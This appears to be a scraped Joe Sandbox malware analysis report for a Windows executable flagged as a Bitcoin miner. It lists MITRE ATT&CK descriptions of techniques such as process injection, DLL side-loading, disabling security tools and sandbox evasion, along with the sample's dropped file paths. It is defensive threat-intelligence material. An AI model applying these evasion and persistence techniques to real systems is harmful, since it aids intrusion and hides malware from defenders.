Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ahlntQUj2t.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Libs\WR64.sys

C:\Program Files\Google\Libs\g.log

C:\Program Files\xjfgcnhmcvxy.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pw3vep3.fod.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1kci3k44.i32.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_324vmt0d.q1r.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4r541zkl.hbu.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ka1dbfr.4ul.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kdikchqo.reh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r4zvvcx0.jec.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tx15xpdx.5ri.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zc1hjfea.jye.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zu50fbze.xjs.ps1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Windows Analysis Report
ahlntQUj2t.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre